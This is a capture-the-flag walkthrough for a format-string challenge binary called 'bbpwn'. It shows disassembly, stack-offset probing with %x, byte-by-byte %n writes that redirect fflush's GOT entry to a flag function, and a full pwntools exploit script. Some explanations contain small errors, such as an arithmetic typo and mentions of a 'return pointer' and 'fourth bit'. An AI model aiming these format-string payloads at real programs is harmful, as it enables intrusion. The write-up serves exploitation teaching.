bbpwn

This is a challenging rendition of the `format` binary where we performed an arbitrary write to change data. In this case, we are going to modify the return pointer to get code execution.

Static Analysis

As usual, let's check security on the binary:

```
$ checksec bbpwn
[*] '/home/joybuzzer/Documents/vunrotc/public/binex/03-
formats/bbpwn/src/bbpwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

We see that there is no canary, and no PIE. This means that this code is subject to buffer overflows.

We perform our routine checks in search of anything outstanding. I actually chose for this binary to load it into `radare2` rather than `gdb`. `gdb` works just fine, but `radare2` performs particularly well on the binary because of the number of strings and functions.

```
[0xf7fa3850]> afl
...
0x0804870b    1     25 sym.flag__
...
0x08048724    1    214 main
...
```

We first check `flag` to make sure we don't have anything to do inside the function:

```
[0xf7fa3850]> pdf@sym.flag__
┌ 25: sym.flag__ ();
│           0x0804870b      55             push ebp                    ;
flag()
│           0x0804870c      89e5           mov ebp, esp
│           0x0804870e      83ec08         sub esp, 8
│           0x08048711      83ec0c         sub esp, 0xc
│           0x08048714      68e0880408     push str.cat_flag.txt       ;
0x80488e0 ; "cat flag.txt"
│           0x08048719      e852feffff     call sym.imp.system         ;
int system(const char *string)
│           0x0804871e      83c410         add esp, 0x10
│           0x08048721      90             nop
```

```
|           0x08048722      c9              leave
└           0x08048723      c3              ret
```

We see that this function just calls `system("cat flag.txt");` without any extra steps.

```
[0xf7fa3850]> pdf@main
            ; DATA XREF from entry0 @ 0x8048627(w)
┌ 214: int main (char **argv);
|           ; var int32_t var_ch @ ebp-0xc
|           ; var int32_t var_138h @ ebp-0x138
|           ; var int32_t var_200h @ ebp-0x200
|           ; var int32_t var_20ch @ ebp-0x20c
|           ; arg char **argv @ esp+0x234
|           0x08048724      8d4c2404        lea ecx, [argv]
|           0x08048728      83e4f0          and esp, 0xfffffff0
|           0x0804872b      ff71fc          push dword [ecx - 4]
|           0x0804872e      55              push ebp
|           0x0804872f      89e5            mov ebp, esp
|           0x08048731      51              push ecx
|           0x08048732      81ec14020000    sub esp, 0x214
|           0x08048738      89c8            mov eax, ecx
|           0x0804873a      8b4004          mov eax, dword [eax + 4]
|           0x0804873d      8985f4fdffff    mov dword [var_20ch], eax
|           0x08048743      65a114000000    mov eax, dword gs:[0x14]
|           0x08048749      8945f4          mov dword [var_ch], eax
|           0x0804874c      31c0            xor eax, eax
|           0x0804874e      83ec0c          sub esp, 0xc
|           0x08048751      68f0880408      push
str.Hello_baby_pwner__whats_your_name_ ; 0x80488f0 ; "Hello baby pwner,
whats your name?"
|           0x08048756      e885feffff      call sym.imp.puts           ;
int puts(const char *s)
|           0x0804875b      83c410          add esp, 0x10
|           0x0804875e      a144a00408      mov eax, dword [obj.stdout] ;
obj.stdout__GLIBC_2.0
|                                                                       ;
[0x804a044:4]=0
|           0x08048763      83ec0c          sub esp, 0xc
|           0x08048766      50              push eax
|           0x08048767      e854feffff      call sym.imp.fflush         ;
int fflush(FILE *stream)
|           0x0804876c      83c410          add esp, 0x10
|           0x0804876f      a140a00408      mov eax, dword [obj.stdin]  ;
loc._edata
|                                                                       ;
[0x804a040:4]=0
|           0x08048774      bac8000000      mov edx, 0xc8               ;
200
|           0x08048779      83ec04          sub esp, 4
|           0x0804877c      50              push eax
|           0x0804877d      52              push edx
|           0x0804877e      8d8500feffff    lea eax, [var_200h]
```

```
|           0x08048784      50             push eax
|           0x08048785      e806feffff     call sym.imp.fgets          ;
char *fgets(char *s, int size, FILE *stream)
|           0x0804878a      83c410         add esp, 0x10
|           0x0804878d      a140a00408     mov eax, dword [obj.stdin]  ;
loc._edata
|                                                                      ;
[0x804a040:4]=0
|           0x08048792      83ec0c         sub esp, 0xc
|           0x08048795      50             push eax
|           0x08048796      e825feffff     call sym.imp.fflush         ;
int fflush(FILE *stream)
|           0x0804879b      83c410         add esp, 0x10
|           0x0804879e      83ec04         sub esp, 4
|           0x080487a1      8d8500feffff   lea eax, [var_200h]
|           0x080487a7      50             push eax
|           0x080487a8      6814890408     push
str.Ok_cool__soon_we_will_know_whether_you_pwned_it_or_not._Till_then_Bye__
s ; 0x8048914 ; "Ok cool, soon we will know whether you pwned it or not.
Till then Bye %s"
|           0x080487ad      8d85c8feffff   lea eax, [var_138h]
|           0x080487b3      50             push eax
|           0x080487b4      e897fdffff     call sym.imp.sprintf        ;
int sprintf(char *s, const char *format, ...)
|           0x080487b9      83c410         add esp, 0x10
|           0x080487bc      a144a00408     mov eax, dword [obj.stdout] ;
obj.stdout__GLIBC_2.0
|                                                                      ;
[0x804a044:4]=0
|           0x080487c1      83ec0c         sub esp, 0xc
|           0x080487c4      50             push eax
|           0x080487c5      e8f6fdffff     call sym.imp.fflush         ;
int fflush(FILE *stream)
|           0x080487ca      83c410         add esp, 0x10
|           0x080487cd      83ec0c         sub esp, 0xc
|           0x080487d0      8d85c8feffff   lea eax, [var_138h]
|           0x080487d6      50             push eax
|           0x080487d7      e8f4fdffff     call sym.imp.printf         ;
int printf(const char *format)
|           0x080487dc      83c410         add esp, 0x10
|           0x080487df      a144a00408     mov eax, dword [obj.stdout] ;
obj.stdout__GLIBC_2.0
|                                                                      ;
[0x804a044:4]=0
|           0x080487e4      83ec0c         sub esp, 0xc
|           0x080487e7      50             push eax
|           0x080487e8      e8d3fdffff     call sym.imp.fflush         ;
int fflush(FILE *stream)
|           0x080487ed      83c410         add esp, 0x10
|           0x080487f0      83ec0c         sub esp, 0xc
|           0x080487f3      6a01           push 1                      ; 1
└           0x080487f5      e8f6fdffff     call sym.imp.exit           ;
void exit(int status)
```

The most important things to notice in this disassembly is that there is a format string bug at `0x080487d7`. The address we write to is directly passed as the argument to `printf`.

We'll then check where our input is on the stack when we run it:

```
$ ./bbpwn
Hello baby pwner, whats your name?
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
Ok cool, soon we will know whether you pwned it or not. Till then Bye
8048914 ff8e99e8 f7c3a439 f7c0c2f4 f7f365fc f781ab0d ff8e9cb4 0 0 25207825
78252078 20782520 25207825 78252078 20782520
```

We see that we start writing at the 10th offset.

Plan of Attack

There is no canary to leak. Nothing else happens after the format string bug is triggered, meaning that we need to perform some type of arbitrary write. Overwriting the return pointer of `main()` is not always a great choice because the stack frame is a bit unpredictable.

A better solution is to overwrite the address of another function with the address of `flag`, our desired function. That way, when we call the function, it will actually call `flag` instead. This is what we call a **GOT overwrite** and will be discussed further at the end of the binary exploitation section.

The reason that the plan of attack is possible is because RELRO is not fully on. RELRO, or **RE**location **L**inked **R**ead-**O**nly, is a security feature that makes the GOT read-only. This means that we cannot overwrite the GOT. However, because RELRO is only **Partial**, we can overwrite the GOT.

Understanding the Payload

We choose `fflush` as a good candidate for overwriting because it is called right after the format string bug is triggered. This means that we can overwrite the return pointer of `fflush` with the address of `flag`.

Checking the `got` table, we can find the address of `fflush`:

```
gef➤  got fflush

GOT protection: Partial RelRO | GOT functions: 11

[0x804a028] fflush@GLIBC_2.0  →  0x80485c6
```

In the `got` table, `fflush` is at `0x0804a028`. We can verify this by checking the address for an instruction:

```
gef➤  x/i 0x804a028
   0x804a028 <fflush@got.plt>:  mov    BYTE PTR [ebp-0x7a29f7fc],0x4
```

We also need the address of `flag`:

```
gef➤  info functions flag
All functions matching regular expression "flag":

Non-debugging symbols:
0x0804870b  flag()
```

Therefore, we need to change the value at `0x0804a028` to `0x0804870b`.

Let's begin to simulate changing the value at the `fflush` entry in the `got` table. What we want to do is overwrite the value, one byte at a time, until we get the desired value. Consider the following payload:

```
addrs = p32(0x0804a028) + p32(0x0804a029) + p32(0x0804a02b)
formats = b'%10$n%11$n%12$n'
payload = addrs + formats
```

This means that we're going to write the number of bytes thus far to the address `0x0804a028`, `0x0804a029`, and `0x0804a02b`. If we run `gdb` and stop execution right after the `printf`, we can see what the values are:

```
p = process('./bbpwn')
gdb.attach(p, gdbscript='b *(main+184)')
```

Checking the addresses at `fflush`:

```
gef➤  x/2wx 0x0804a028
0x804a028 <fflush@got.plt>: 0x52005252  0xf7000000
```

We see that the current value is `0x52` at the lowest byte. Remember that we can only really *add* to the value, meaning to get `0x0b` at that byte, we really need to reach `0x10b`. This takes `0x10b-0x52=185` bytes. Therefore, we can append `%185x` into our payload so that many bytes are written first.

> *Why does this work?* Note the difference in the format specifier. We are writing `%185x` and **not** `%185$x`. Rather than writing the value of the 185th argument, we are writing the argument provided as a 185-byte value. As a proof-of-concept, consider the following code:
>
> ```
> #include <stdio.h>
>
> int main(void)
> {
>     int bytes = 2;
> ```

```
    printf("%10x", bytes);
}
```

This code is going to output 9 spaces then the number 2. Changing the print statement to `printf("%010x", bytes);` prints out `0000000002`.

Let's add this format string to the start of our payload and re-analyze.

```
addrs = p32(0x0804a028) + p32(0x0804a029) + p32(0x0804a02b)
formats = b'%185x%10$n%11$n%12$n'
payload = addrs + formats
```

> *Why didn't we put spaces like last time?* Remember that `%n` prints the number of bytes written thus far. If we write spaces, we add another byte to the count. In theory, we could subtract one from the hex format specifier, but this is less confusing.

```
gef➤  x/2wx 0x0804a028
0x804a028 <fflush@got.plt>: 0x0b010b0b  0xf7000001
```

The lower byte is now `0x0b` as desired. Now, let's do the second and third bytes in the same way. Our current bytes are `0x010b`, and we need this to be `0x0487`. `0x0847-0x010b=892`. We can add `%892x` to the format string to write that many bytes. This changes the value at that address to:

```
gef➤  x/2wx 0x0804a028
0x804a028 <fflush@got.plt>: 0x8704870b  0xf7000004
```

Finally, to modify the fourth bit, we need to write `0x08` to the fourth byte, which requires `0x108-0x87=129` bytes to be written. This will spill over to the next DWORD, but that's okay because it doesn't prevent us from pulling off this exploit.

Putting it all Together

Putting together the payload, we have the following exploit:

```
from pwn import *

proc = process('./bbpwn')
print(proc.recvline())

addrs = p32(0x804a028) + p32(0x804a029) + p32(0x804a02b)

flag_val0 = b"%185x%10$n"
flag_val1 = b"%892x%11$n"
flag_val2 = b"%129x%12$n"
```

```
payload = addrs + flag_val0 + flag_val1 + flag_val2

proc.sendline(payload)
proc.interactive()
```

We notice that `cat flag.txt` is called! Exploiting this on the remote server, we get the flag.